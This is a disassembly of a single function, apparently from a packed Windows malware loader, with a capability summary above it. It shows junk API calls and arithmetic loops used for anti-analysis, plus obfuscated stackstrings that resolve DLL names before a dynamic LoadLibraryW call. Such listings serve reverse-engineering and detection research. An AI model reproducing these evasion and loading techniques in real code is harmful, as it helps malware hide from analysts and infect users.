Function at 0x403820
Capabilities:
Contain obfuscated stackstrings
Get disk size
Get file attributes
Get memory capacity
Resolve function by parsing pe exports
Set console window title
Set file attributes

Disassembly:
sub esp, 0xb64
mov eax, 0xb2d3b
add dword [0x2c5e4ec], eax
cmp dword [0x2c5e4ec], 0x16
jne 0x403957
push 0
push 0
call dword [sym.imp.USER32.dll_ClientToScreen]
push 0
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
lea eax, [esp + 0x324]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
push 0
lea ecx, [esp + 0x368]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExW]
push 0
push 0x401274
push 0x401294
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
push 0
lea eax, [esp + 0x2f4]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
push 0x4012a4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
xor eax, eax
lea ecx, [esp + 0x2dc]
push ecx
lea edx, [esp + 0x30c]
push edx
push eax
mov dword [esp + 0x2e8], 0
mov dword [esp + 0x2ec], eax
mov dword [esp + 0x2f0], eax
mov dword [esp + 0x2f4], eax
mov dword [esp + 0x2f8], eax
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PurgeComm]
push 0
call fcn.00405458
push 0
call fcn.0040541e
push 0
push 0
call fcn.00405371
push 0x929
push 0xea
call fcn.00405331
push 0
call fcn.004052cc
add esp, 0x1c
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
nop
call edi
push 0
push 0
call ebx
cmp esi, 0x20b8167
jge 0x4048a2
mov dword [esp + 0x68], 0x2bbaf3f7
mov dword [esp + 0x168], 0x77c7e60
mov dword [esp + 0x1b0], 0x1a90c785
mov dword [esp + 0x1ac], 0x2b5963ed
mov dword [esp + 0x1f8], 0x732377f2
mov dword [esp + 0x204], 0x29a619df
mov dword [esp + 0x230], 0x5988bc93
mov dword [esp + 0xf0], 0x96da48
mov dword [esp + 0x1a4], 0x60e117f1
mov dword [esp + 0x30], 0x65ab3693
mov dword [esp + 0x5c], 0x258634dd
mov dword [esp + 0x294], 0x75fbf110
mov dword [esp + 0x1c], 0x14810d6c
mov dword [esp + 0xbc], 0x69211272
mov dword [esp + 0x98], 0xe2fecc2
mov dword [esp + 0x164], 0x5895161a
mov dword [esp + 0xf4], 0x6ad4dea4
mov dword [esp + 0x1c8], 0xfd23de2
mov dword [esp + 0x54], 0xf35859f
mov dword [esp + 0x210], 0x34c93e2c
mov dword [esp + 0x160], 0x4ded1573
mov dword [esp + 0x1fc], 0x1f844b61
mov dword [esp + 0x120], 0x52aecb59
mov dword [esp + 0x278], 0xdb21a4d
mov dword [esp + 0xe8], 0x476951f2
mov dword [esp + 0xb4], 0x4c20e238
mov dword [esp + 0x2c8], 0x4de27fb0
mov dword [esp + 0x248], 0x370462a5
mov dword [esp + 0x28c], 0x2d71c3fc
mov dword [esp + 0x60], 0x786d1702
mov dword [esp + 0x4c], 0x3fa7d9ec
mov dword [esp + 0x23c], 0x1327338e
mov dword [esp + 0x1f0], 0x235cca55
mov dword [esp + 0xe0], 0x61431b1c
mov dword [esp + 0xac], 0x30752e40
mov dword [esp + 0x2a8], 0x665ffb0e
mov dword [esp + 0x19c], 0x19524ce
mov dword [esp + 0x2b8], 0x5768bf0e
mov dword [esp + 0x1f4], 0x2e268ff5
mov dword [esp + 0x15c], 0x38d93041
mov dword [esp + 0x2c0], 0x3de14302
mov dword [esp + 0x154], 0xe8efdc3
mov dword [esp + 0x58], 0x626542d4
mov dword [esp + 0x284], 0x654e67f2
mov dword [esp + 0x44], 0x4a4712a1
mov dword [esp + 0x1a8], 0x183a10a8
mov dword [esp + 0x27c], 0x194cd67c
mov dword [esp + 0x1ec], 0x410d55f5
mov dword [esp + 0x3c], 0x657b77d0
mov dword [esp + 0x158], 0x5adeb164
mov dword [esp + 0x1e4], 0x469532d0
mov dword [esp + 0x90], 0x35d40e5b
mov dword [esp + 0x20], 0x7bb152c9
mov dword [esp + 0x14c], 0x1ba2824c
mov dword [esp + 0x228], 0x795932a6
mov dword [esp + 0x274], 0x4c3db213
mov dword [esp + 0x50], 0xeab4923
mov dword [esp + 0xb8], 0x195e62d5
mov dword [esp + 0x1d8], 0x135c9eb6
mov dword [esp + 0x194], 0x61858da3
mov dword [esp + 0xec], 0x39afc72f
mov dword [esp + 0x34], 0x5966abb8
mov dword [esp + 0x260], 0x39dbc673
mov dword [esp + 0xe4], 0x7513f9f4
mov dword [esp + 0x88], 0x5dbae95c
mov dword [esp + 0x150], 0x756bbcc8
mov dword [esp + 0x18c], 0x663aae89
mov dword [esp + 0x184], 0x6c44e02
mov dword [esp + 0x290], 0x59cbd60d
mov dword [esp + 0x234], 0x4aa0dca4
mov dword [esp + 0xb0], 0x3a29cfd4
mov dword [esp + 0x144], 0x966ef0b
mov dword [esp + 0x268], 0x45d5f270
mov dword [esp + 0x2c], 0x33a54990
mov dword [esp + 0xd8], 0x3793e904
mov dword [esp + 0x1c0], 0x7f01c985
mov dword [esp + 0x18], 0x127d726c
mov dword [esp + 0x28], 0x3d8aca29
mov dword [esp + 0x118], 0x6bc9c38a
mov dword [esp + 0x250], 0x39591052
mov dword [esp + 0x1e8], 0x25952d50
mov dword [esp + 0x148], 0x69de19df
mov dword [esp + 0x14], 0x210dede5
mov dword [esp + 0x1dc], 0xc4ac315
mov dword [esp + 0x22c], 0x1d6ba7e3
mov dword [esp + 0x26c], 0x63cbf456
mov dword [esp + 0x264], 0x227f1a15
mov dword [esp + 0x1d4], 0x501635eb
mov dword [esp + 0x220], 0x6ce0c410
mov dword [esp + 0x1cc], 0x7e34390d
mov dword [esp + 0x13c], 0x753d9aec
mov dword [esp + 0x224], 0x3211b2
mov dword [esp + 0x208], 0x171185f0
mov dword [esp + 0x140], 0x5e1a26f5
mov dword [esp + 0x80], 0x20396a16
mov dword [esp + 0x110], 0x7c1b2932
mov dword [esp + 0xa4], 0x5d4592e6
mov dword [esp + 0xd0], 0x4c71db2
mov dword [esp + 0x270], 0x151cfb99
mov dword [esp + 0x134], 0x3b8d657b
mov dword [esp + 0x48], 0x5a809691
mov dword [esp + 0x2d4], 0x228314c0
mov dword [esp + 0x2cc], 0x2f257254
mov dword [esp + 0x2e0], 0x18ce2742
mov dword [esp + 0xc8], 0x13c01112
mov dword [esp + 0x190], 0x373e828f
mov dword [esp + 0x2a0], 0x77f66fe9
mov dword [esp + 0x2e4], 0x338a539a
mov dword [esp + 0x25c], 0x5750da5a
mov dword [esp + 0x2c4], 0x40a47003
mov dword [esp + 0x1a0], 0x6d9b35a6
mov dword [esp + 0x1c4], 0x3846d580
mov dword [esp + 0x40], 0x21421ec0
mov dword [esp + 0x12c], 0x60030924
mov dword [esp + 0x21c], 0x3dd815aa
mov dword [esp + 0x2b4], 0x79d9689
mov dword [esp + 0x138], 0x43b2558a
mov dword [esp + 0x214], 0x40952631
mov dword [esp + 0x218], 0x11cd3c45
mov dword [esp + 0x9c], 0xa49c815
mov dword [esp + 0x1bc], 0xfe7d451
mov dword [esp + 0x94], 0x6df5f3e0
mov dword [esp + 0x8c], 0x2c0d4eab
mov dword [esp + 0x84], 0x374990e9
mov dword [esp + 0x124], 0x4c781b8a
mov dword [esp + 0x280], 0x15ce9e2c
mov dword [esp + 0xdc], 0x5e986000
mov dword [esp + 0x78], 0x20537ceb
mov dword [esp + 0x11c], 0x752cc94
mov dword [esp + 0xa8], 0x6f58d1ce
mov dword [esp + 0x2d0], 0x73b5303
mov dword [esp + 0x114], 0x2453944
mov dword [esp + 0x1e0], 0x79171ac8
mov dword [esp + 0x2bc], 0x3cd9b62f
mov dword [esp + 0x7c], 0x1ccad2b2
mov dword [esp + 0x130], 0x394bb53
mov dword [esp + 0x188], 0x65c07b0e
mov dword [esp + 0x288], 0x61f02ab
mov dword [esp + 0x128], 0x3dae6650
mov dword [esp + 0x24], 0x5b234efa
mov dword [esp + 0x74], 0x34e60434
mov dword [esp + 0x254], 0x5d287e69
mov dword [esp + 0x2ac], 0xa877297
mov dword [esp + 0x1b8], 0x33750dd1
mov dword [esp + 0x10c], 0x34439b62
mov dword [esp + 0x2a4], 0x215ae250
mov dword [esp + 0x104], 0x397f97bb
mov dword [esp + 0x108], 0x2984766d
mov dword [esp + 0x17c], 0x71e52efd
mov dword [esp + 0x1d0], 0x1cdb9133
mov dword [esp + 0x200], 0x48cba6a6
mov dword [esp + 0xc0], 0x5b4367d9
mov dword [esp + 0x100], 0x30a2c6f1
mov dword [esp + 0xd4], 0x783d9e49
mov dword [esp + 0x29c], 0x1cd83631
mov dword [esp + 0x240], 0x84c6ae5
mov dword [esp + 0x2e8], 0x4ff48adb
mov dword [esp + 0x38], 0x7cd62bef
mov dword [esp + 0x1b4], 0x24617400
mov dword [esp + 0xa0], 0x2cd793d
mov dword [esp + 0x70], 0x544f6ce4
mov dword [esp + 0x180], 0x61b51710
mov dword [esp + 0xf8], 0x3276d0d4
mov dword [esp + 0x2d8], 0x3f7d8805
mov dword [esp + 0x24c], 0x41cb4b91
mov dword [esp + 0x6c], 0x526c83e8
mov dword [esp + 0x258], 0x5c089f3e
mov dword [esp + 0x10], 0x4b6cb244
mov dword [esp + 0x2b0], 0x25d54ab8
mov dword [esp + 0x64], 0x455859f9
mov dword [esp + 0x174], 0x4693db65
mov dword [esp + 0x244], 0x31bf9187
mov dword [esp + 0x2dc], 0x5a33a29b
mov dword [esp + 0x178], 0x617bb4e0
mov dword [esp + 0x198], 0x51166756
mov dword [esp + 0x16c], 0x468d2ec4
mov dword [esp + 0xcc], 0x6995210a
mov dword [esp + 0xfc], 0x53d2c5a5
mov dword [esp + 0x238], 0x7580b2e3
mov dword [esp + 0x20c], 0x40892c24
mov dword [esp + 0x170], 0x36c147c0
mov dword [esp + 0xc4], 0x7bf4b50c
mov dword [esp + 0x298], 0x6d522d7a
add dword [esp + 0x168], 0x67b6c74c
sub dword [esp + 0x1b0], 0x1dbdb89b
mov eax, 0x5bc4d127
mul dword [esp + 0x1b0]
mov eax, dword [esp + 0x1b0]
mov eax, 0x7e0736e9
mul dword [esp + 0x68]
mov eax, dword [esp + 0x68]
mov eax, 0x36691bb1
mul dword [esp + 0x68]
mov eax, dword [esp + 0x68]
add dword [esp + 0x168], 0x6755fcd0
sub dword [esp + 0x1ac], 0x6f2d3975
mov eax, 0x7109aaf
mul dword [esp + 0x1b0]
mov eax, dword [esp + 0x1b0]
add dword [esp + 0x1b0], 0x22294f7a
add dword [esp + 0x168], 0x2f001c5e
mov eax, 0x257a9c5b
mul dword [esp + 0x1f8]
mov eax, dword [esp + 0x1f8]
add dword [esp + 0x168], 0x556a1600
sub dword [esp + 0x204], 0x70606437
add dword [esp + 0x168], 0x76a2f1e9
sub dword [esp + 0xf0], 0x11a2fb0
mov eax, 0x495d01ee
mul dword [esp + 0x1b0]
mov eax, dword [esp + 0x1b0]
add dword [esp + 0x230], 0x24be83bc
add dword [esp + 0x204], 0x2c6a7ad
add dword [esp + 0x5c], 0xff6b896
sub dword [esp + 0x1ac], 0x4f4a4703
mov eax, 0x5dbb83ea
mul dword [esp + 0x30]
mov eax, dword [esp + 0x30]
add dword [esp + 0x1b0], 0x17dc82a0
sub dword [esp + 0x1ac], 0x7628de71
mov eax, 0x125d0df6
mul dword [esp + 0x5c]
mov eax, dword [esp + 0x5c]
mov eax, 0x7ba3122d
mul dword [esp + 0xf0]
mov eax, dword [esp + 0xf0]
sub dword [esp + 0x30], 0x23783c5e
sub dword [esp + 0x164], 0x7e36b7de
sub dword [esp + 0x30], 0x655a1381
sub dword [esp + 0xf4], 0x3bcb967d
add dword [esp + 0x164], 0x1e22974e
sub dword [esp + 0x1a4], 0x356365de
mov eax, 0x75faf58c
mul dword [esp + 0x1a4]
mov eax, dword [esp + 0x1a4]
mov eax, 0x43955f90
mul dword [esp + 0x1b0]
mov eax, dword [esp + 0x1b0]
sub dword [esp + 0x164], 0x79e53ec7
mov eax, 0x17d8c746
mul dword [esp + 0xf0]
mov eax, dword [esp + 0xf0]
sub dword [esp + 0x1ac], 0x5ac24214
sub dword [esp + 0xf4], 0x1bf099a6
mov eax, 0x54bdcd30
mul dword [esp + 0x68]
mov eax, dword [esp + 0x68]
sub dword [esp + 0x30], 0x5c63f24b
sub dword [esp + 0x1c], 0x33f7b000
add dword [esp + 0x98], 0x4a9a6e00
mov eax, 0x4134836
mul dword [esp + 0x5c]
mov eax, dword [esp + 0x5c]
add dword [esp + 0x204], 0x4428060
add dword [esp + 0xf4], 0x337233df
sub dword [esp + 0x1c8], 0xd2400a3
add dword [esp + 0x1a4], 0x6c35e776
sub dword [esp + 0x1a4], 0x1176cf82
sub dword [esp + 0x54], 0x1af09c1a
mov eax, 0x246e6609
mul dword [esp + 0x1f8]
mov eax, dword [esp + 0x1f8]
mov eax, 0x6e08d89b
mul dword [esp + 0x1fc]
mov eax, dword [esp + 0x1fc]
mov eax, 0x8f821e2
mul dword [esp + 0xe8]
mov eax, dword [esp + 0xe8]
sub dword [esp + 0x5c], 0x163bd778
sub dword [esp + 0x98], 0x40ba63cd
sub dword [esp + 0x54], 0x3768e25f
mov eax, 0x3deb8c57
mul dword [esp + 0xf4]
mov eax, dword [esp + 0xf4]
mov eax, 0x773a57cb
mul dword [esp + 0x28c]
mov eax, dword [esp + 0x28c]
mov eax, 0x74e2b997
mul dword [esp + 0x1a4]
mov eax, dword [esp + 0x1a4]
add dword [esp + 0x1f8], 0x2f6eca7c
add dword [esp + 0xb4], 0x7a77d23b
sub dword [esp + 0xf4], 0x46a85e58
add dword [esp + 0x1c], 0x783ea114
sub dword [esp + 0x1a4], 0x5c206d4b
sub dword [esp + 0x210], 0x5f7c53b3
sub dword [esp + 0xb4], 0x76f8dd09
sub dword [esp + 0x23c], 0x79218648
sub dword [esp + 0x2a8], 0x10b9a3cb
add dword [esp + 0x28c], 0x23b7d770
add dword [esp + 0x278], 0x3d54c1af
sub dword [esp + 0x19c], 0x6a4f0132
mov eax, 0x7dfea460
mul dword [esp + 0x2a8]
mov eax, dword [esp + 0x2a8]
sub dword [esp + 0x248], 0xbbf3200
sub dword [esp + 0x230], 0x12533eb5
add dword [esp + 0x1c], 0x6cb49872
mov eax, 0x1ef07696
mul dword [esp + 0x278]
mov eax, dword [esp + 0x278]
mov eax, 0x5b7af9d7
mul dword [esp + 0x1fc]
mov eax, dword [esp + 0x1fc]
mov eax, 0x608473f9
mul dword [esp + 0x284]
mov eax, dword [esp + 0x284]
mov eax, 0x5a9e7a43
mul dword [esp + 0x120]
mov eax, dword [esp + 0x120]
add dword [esp + 0x1ec], 0x1078e65
add dword [esp + 0x168], 0x791e7cb2
add dword [esp + 0x58], 0x649205f3
add dword [esp + 0xac], 0x1c71164f
mov eax, 0x69a27da0
mul dword [esp + 0x54]
mov eax, dword [esp + 0x54]
mov eax, 0xf6a238
mul dword [esp + 0x2c0]
mov eax, dword [esp + 0x2c0]
mov eax, 0x32886a47
mul dword [esp + 0x164]
mov eax, dword [esp + 0x164]
add dword [esp + 0x27c], 0x2ba2d5f6
mov eax, 0x7c4cad85
mul dword [esp + 0x1a8]
mov eax, dword [esp + 0x1a8]
mov eax, 0x666076fa
mul dword [esp + 0x1ac]
mov eax, dword [esp + 0x1ac]
add dword [esp + 0x28c], 0x6953837d
add dword [esp + 0xe8], 0x50428ea9
add dword [esp + 0x154], 0x26539c48
mov eax, 0x3483f5b3
mul dword [esp + 0x1f8]
mov eax, dword [esp + 0x1f8]
mov eax, 0xfe3db9b
mul dword [esp + 0x58]
mov eax, dword [esp + 0x58]
mov eax, 0x51a13b3b
mul dword [esp + 0xe0]
mov eax, dword [esp + 0xe0]
mov eax, 0x69423403
mul dword [esp + 0xe8]
mov eax, dword [esp + 0xe8]
sub dword [esp + 0x58], 0x3fc9386a
add dword [esp + 0x68], 0x106446bf
add dword [esp + 0x30], 0x1d22d8ff
add dword [esp + 0x294], 0x720e2297
mov eax, 0x37503c14
mul dword [esp + 0x160]
mov eax, dword [esp + 0x160]
sub dword [esp + 0x14c], 0x59721225
sub dword [esp + 0x58], 0x3d65f3ac
sub dword [esp + 0x1fc], 0x615dab7e
mov eax, 0x4a4b7d0c
mul dword [esp + 0x54]
mov eax, dword [esp + 0x54]
add dword [esp + 0x278], 0x1011a0a
add dword [esp + 0x50], 0x28138ed8
mov eax, 0x2a0c927e
mul dword [esp + 0x274]
mov eax, dword [esp + 0x274]
sub dword [esp + 0x68], 0x4e2cf0e6
mov eax, 0x5cfc22e3
mul dword [esp + 0x158]
mov eax, dword [esp + 0x158]
sub dword [esp + 0x2c8], 0x5fe7bbd0
add dword [esp + 0x164], 0x69b55c5b
mov eax, 0x77376aa7
mul dword [esp + 0x44]
mov eax, dword [esp + 0x44]
add dword [esp + 0x1a8], 0x149948d6
mov eax, 0x10385dd5
mul dword [esp + 0x23c]
mov eax, dword [esp + 0x23c]
mov eax, 0x7b6e4bfd
mul dword [esp + 0x60]
mov eax, dword [esp + 0x60]
sub dword [esp + 0x90], 0x27581c51
sub dword [esp + 0x14c], 0xde73b29
sub dword [esp + 0x2c0], 0x6c79719f
add dword [esp + 0x210], 0x3c63de2c
mov eax, 0x463a3745
mul dword [esp + 0xb4]
mov eax, dword [esp + 0xb4]
mov eax, 0x7cd7d821
mul dword [esp + 0x1f0]
mov eax, dword [esp + 0x1f0]
sub dword [esp + 0x210], 0x2dcb1d99
mov eax, 0x525e6484
mul dword [esp + 0x1ec]
mov eax, dword [esp + 0x1ec]
add dword [esp + 0x54], 0x6693174d
add dword [esp + 0x294], 0x541eb64f
add dword [esp + 0x4c], 0x81027bd
mov eax, 0x751178a6
mul dword [esp + 0x1d8]
mov eax, dword [esp + 0x1d8]
add dword [esp + 0x44], 0x6f7e68e1
mov eax, 0x1a8a4c6d
mul dword [esp + 0x1a8]
mov eax, dword [esp + 0x1a8]
sub dword [esp + 0x204], 0xc634e74
sub dword [esp + 0x28c], 0x7396217d
sub dword [esp + 0x1c], 0x7d38c6c0
mov eax, 0x206e688d
mul dword [esp + 0x1a8]
mov eax, dword [esp + 0x1a8]
add dword [esp + 0x88], 0x1c5459bb
mov eax, 0x7a72fd96
mul dword [esp + 0x168]
mov eax, dword [esp + 0x168]
add dword [esp + 0x1ec], 0x1cbfe3b8
mov eax, 0x396c1eac
mul dword [esp + 0xb8]
mov eax, dword [esp + 0xb8]
sub dword [esp + 0x1ac], 0x7f29be46
mov eax, 0x99fb23f
mul dword [esp + 0xb8]
mov eax, dword [esp + 0xb8]
mov eax, 0x7104c5c6
mul dword [esp + 0x1f0]
mov eax, dword [esp + 0x1f0]
add dword [esp + 0x18c], 0x7dd76677
sub dword [esp + 0x14c], 0x3712720c
add dword [esp + 0x294], 0x5781f60
mov eax, 0x3b83466b
mul dword [esp + 0x1ec]
mov eax, dword [esp + 0x1ec]
sub dword [esp + 0x50], 0x3b7aeda3
mov eax, 0x27a31ed5
mul dword [esp + 0x150]
mov eax, dword [esp + 0x150]
sub dword [esp + 0x2a8], 0x508d921
mov eax, 0x5e85e167
mul dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
add dword [esp + 0x118], 0x5a8a3ae4
mov eax, 0x5fbf7af0
mul dword [esp + 0x158]
mov eax, dword [esp + 0x158]
call ebp
cmp esi, 0x3093a5
jg 0x4048b9
inc esi
cmp esi, 0x216dbca
jl 0x403970
mov edx, 0x6c
mov word [0x2c5dc5c], dx
xor edx, edx
mov word [0x2c5dc60], dx
mov ecx, 0x72
mov edx, 0x32
mov word [0x2c5dc4c], cx
mov word [0x2c5dc56], dx
mov edx, dword [0x2c5e4ec]
mov eax, 0x2e
mov ecx, 0x64
mov word [0x2c5dc58], ax
mov word [0x2c5dc5a], cx
mov ecx, dword [0x43dde4]
push edx
mov eax, 0x6c
push 0
mov dword [0x2c5dc52], 0x33006c
mov dword [0x2c5dc48], 0x65006b
mov dword [0x2c5dc4e], 0x65006e
mov word [0x2c5dc5e], ax
mov dword [0x2c5e4f0], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x2c5ce5c], eax
call fcn.004037a0
mov edx, dword [0x2c5e4f0]
mov ecx, dword [0x2c5ce5c]
push 0
call fcn.004036b0
mov edx, dword [0x2c5e4ec]
xor esi, esi
test edx, edx
je 0x40499f
mov edi, dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
cmp edx, 0x44
jne 0x40499a
push 0
lea eax, [esp + 0x378]
push eax
push 0x4012b8
call edi
push 0
push 0
push 0
call ebx
mov edx, dword [0x2c5e4ec]
inc esi
cmp esi, edx
jb 0x404976
mov esi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
xor eax, eax
mov dword [esp + 0x10], eax
lea ecx, [ecx]
lea ecx, [eax + edx]
cmp ecx, 0x5e
jne 0x404a17
push 0
push 0
push 0
call esi
push 0
call edi
push 0
call ebx
push 0
lea edx, [esp + 0x378]
push edx
push 0
call ebp
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push 0x4012c8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov edx, dword [0x2c5e4ec]
mov eax, dword [esp + 0x10]
inc eax
mov dword [esp + 0x10], eax
cmp eax, 0x40c893
jl 0x4049c0
mov ecx, dword [0x2c5ce5c]
push 0x43dcb8
call fcn.00403400
mov dword [esp + 0x10], 0
add dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
add dword [0x2c5ce5c], eax
mov esi, dword [sym.imp.KERNEL32.dll_GlobalReAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebp, dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
mov dword [esp + 0x10], 0x7b
lea ecx, [ecx]
cmp dword [0x2c5e4ec], 0xd
jne 0x404ab2
push 0
push 0
push 0
call esi
push 0
push 0
push 0x4012ec
push 0
call edi
push 0
call ebx
push 0
push 0
call ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
lea ecx, [esp + 0x378]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
cmp dword [0x2c5e4ec], 0xf
jne 0x404ac9
push 0
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
dec dword [esp + 0x10]
jne 0x404a70
mov edx, 0x32
mov word [0x2c5dc54], dx
mov edx, 0x6d
mov ecx, edx
mov word [0x2c5dc4e], dx
mov word [0x2c5dc48], cx
mov eax, 0x2e
mov edx, 0x67
mov ecx, 0x33
push 0x2c5dc48
mov dword [0x2c5dc58], 0x6c0064
mov word [0x2c5dc56], ax
mov word [0x2c5dc50], dx
mov dword [0x2c5dc5c], 0x6c
mov dword [0x2c5dc4a], 0x690073
mov word [0x2c5dc52], cx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xb64
ret